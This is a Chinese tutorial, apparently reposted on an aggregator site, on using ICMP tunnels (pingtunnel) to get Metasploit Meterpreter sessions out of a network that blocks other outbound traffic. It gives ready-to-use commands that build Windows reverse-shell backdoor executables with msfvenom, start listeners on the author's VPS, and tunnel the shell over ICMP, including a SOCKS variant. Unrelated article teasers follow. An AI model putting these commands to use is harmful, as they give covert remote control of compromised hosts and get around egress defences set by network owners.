ICMP隧道

后台私信找我获取工具 

目录

ICMP隧道作用

ICMP隧道转发TCP上线MSF

开启服务端

生成后门木马 

msf开启监听 

 开启客户端icmp隧道

执行后门木马,本地上线 

ICMP隧道转发SOCKS上线MSF 

开启服务端

生成后门木马

msf开启监听  

 开启客户端icmp隧道 

​执行后门木马,本地上线 


ICMP隧道作用

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,TCP和UDP等传输层协议不能出网,DNS、HTTP等应用层协议也不能出网,只有ICMP协议可以出网。

ICMP隧道转发TCP上线MSF

开启服务端

./pingtunnel -type server

生成后门木马 

注意:该木马监听的是本地

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > 9999.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe -o 9999.exe

msf开启监听 

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 9999  #监控全段的ip
或
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.20.128 -P 9999   #192.168.20.128自己的vps的ip

 开启客户端icmp隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s  192.168.20.128  -t 192.168.20.128:9999 -tcp 1 -noprint 1 -nolog 1

执行后门木马,本地上线 

ICMP隧道转发SOCKS上线MSF 

开启服务端

生成后门木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=8888 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8888.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=8888 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe -o 8888.exe

msf开启监听  

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 8888  #监控全段的ip
或
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.20.128 -P 8888   #192.168.20.128自己的vps的ip

 开启客户端icmp隧道 

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.20.128 -sock5 1 -noprint 1 -nolog 1

 执行后门木马,本地上线 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/43351.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

钡铼网关: 轻松实现PLC与OPC UA服务器的双向通信

在当今工业4.0的大潮下,实现不同设备、系统之间的高效通信和数据交换已大势所趋!PLC与OPC UA服务器的对接,对于打造智能工厂具有重要意义,本文将深入探讨钡铼技术的网关如何实现这一过程,为用户提供快速且低成本的解决…

Nextflow 可选输入文件

问题 有时候存在需要 process 接收可选的输入文件的场景。 解决方案 可以使用特殊的文件名来标记这类输入参数,类似于一个 placeholder。 可以在assets中创建一个空文件: touch assets/NO_FILE示例代码 params.inputs "$projectDir/data/prots/*{1,2,3}…

8. 隔行变色

题目描述 本题为填空题,只需要算出结果后,在代码中使用输出语句将所填结果输出即可。 Excel 表的格子很多,为了避免把某行的数据和相邻行混淆,可以采用隔行变色的样式。 小明设计的样式为:第 11 行蓝色,…

免费听书TV版v1.0.1

使用非常稳定流畅,UI界面设计美观简洁,纯净无广。资源虽然不是特别多,但是日常听书还是可以满足需求。 完全免费,操作简单方便,安装即用,没有任何限制。 可以适配遥控器操作,OK键开启或关闭语…

Qt编程技巧小知识点(1)TCP缓存区数据读取

文章目录 Qt编程技巧小知识点(1)TCP缓存区数据读取小结 Qt编程技巧小知识点(1)TCP缓存区数据读取 TCP的socket对内存进行读取(使用socket->readall())的时候输出的内容有时会进行局部倒置,其…

ORACLE 数据库ADG切换

主备库切换 一、Switchover 方式切换 一般SWITCHOVER切换都是计划中的切换,特点是在切换后,不会丢失任何的数据,而且这个过程是可逆的,整个DATA GUARD环境不会被破坏,原来DATA GUARD环境中的所有物理和逻辑STANDBY都可以继续工作。 在进行DATA GUARD的物理STANDBY切换前…

stm32单片机的分类与命名

一、Stm32单片机的分类 二、Stm32单片机的命名 例如:STM32F103C8T6

VUE超详细入门

目录 1.什么是 Vue.js 2.Vue.js 优点 Vue中的第一个hello world Vue指令 v-model v-bind v-on v-if v-show v-for Vue 实例生命周期 从传统架构转向单文件架构(通过组件拼接) 安装element-ui使用 1.什么是 Vue.js Vue (读音 /vju ː /,类似于 view) 是…

GPT-5要来了?我的博士生“AI朋友”!

GPT-5 一年半后发布?对此你有何期待? IT之家6月22日消息,在美国达特茅斯工程学院周四公布的采访中,OpenAI首席技术官米拉穆拉蒂被问及GPT-5是否会在明年发布,给出了肯定答案并表示将在一年半后发布。此外,…

Vue2-动画

1.transition过渡 过渡组件:进入/离开 & 列表过渡 — Vue.js [用transition做CSS动画]Enter状态:JS Bin - Collaborative JavaScript Debugging Leave状态:JS Bin - Collaborative JavaScript Debugging 2. animation动画 用animation做…

ABAP:会计凭证批量导入(资产数据,获利能力段)

会计凭证导入会涉及到总账、客户、供应商、金额 、自定义字段增强、获利能力段 *&---------------------------------------------------------------------* *& Report ZFIE014 *&---------------------------------------------------------------------* *&…

关于数组的常见算法

一、案例一 案例说明 案例:定义一个int型的一维数组,包含10个元素,分别赋一些随机整数,然后求出所有元素的最大值,最小值,总和,平均值,并输出出来 要求:所有随机数都是两…

5-3.损失函数

文章最前: 我是Octopus,这个名字来源于我的中文名–章鱼;我热爱编程、热爱算法、热爱开源。所有源码在我的个人github ;这博客是记录我学习的点点滴滴,如果您对 Python、Java、AI、算法有兴趣,可以关注我的…

Nginx -Web服务器/反向代理/负载均衡

文章目录 一、web服务1.1 nginx安装1.2 配置文件1.3 Nginx处理Web机制 二、反向代理三、负载均衡3.1 分类3.2 负载相关配置文件3.3 keepalive 提高吞吐量3.4 配置浏览器缓存 附、JMeter性能测试工具 以赛促学内容,大概率感觉会使用nginx做web服务,特对nginx做总结归纳. Nginx是…

(7.10)Java面向对象有关知识点思考

1、继承中要关注如何访问父类中的方法,其中有传递一个隐藏的形参this,及当前对象的地址,通过它调用方法没有问题。 2、抽象时对继承关系的一种优化: ①父类中的方法可以没有方法体; ②子类必须按照规定重写抽象方法…

【性能工程 - eBPF 技术】小白也能学会的 eBPF 技术——初步了解 eBPF 技术(一)

eBPF,即扩展的伯克利包过滤器(Extended Berkeley Packet Filter),是从早期的BPF技术发展而来,起初用于高效地过滤网络数据包。随着时间的推移,eBPF已经成为一个强大的、灵活的内核技术,不仅限于…

echart5.5.1版本,倒三角柱状图

加载方法 initChart1(title, id, tag) {var myChart echarts5.init(this.$refs[id]);const _this this;var option {title:{text: title||"",show: title?true:false,top: 24,left: 24},grid:{left: 54,top: 74,bottom: 44,right: 30,},xAxis: {type: category,d…

【Spring成神之路】老兄,来一杯Spring AOP源码吗?

文章目录 一、引言二、Spring AOP的使用三、Spring AOP的组件3.1 Pointcut源码3.2 Advice源码3.3 Advisor源码3.4 Aspect源码 四、Spring AOP源码刨析4.1 configureAutoProxyCreator源码解析4.2 parsePointcut源码解析4.3 parseAdvisor源码解析4.4 parseAspect源码解析4.5 小总…

电脑缺少dll文件是怎么回事?教你5种有效的解决方法

当您的计算机显示DLL文件已经遗失时,您应如何应对呢?实际上,针对此类DLL文件的处置过程相对来说较为简易。今日,我们在此为大家详细介绍此领域的相关知识,让大家轻松解决电脑中因丢失DLL文件而产生的问题。 一、关于DL…

案例开发-日程管理-第一期

九 案例开发-日程管理-第一期 共7期 9.1 登录页及校验 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><style>.ht{text-align: center;color: cadetblue;font-family: 幼…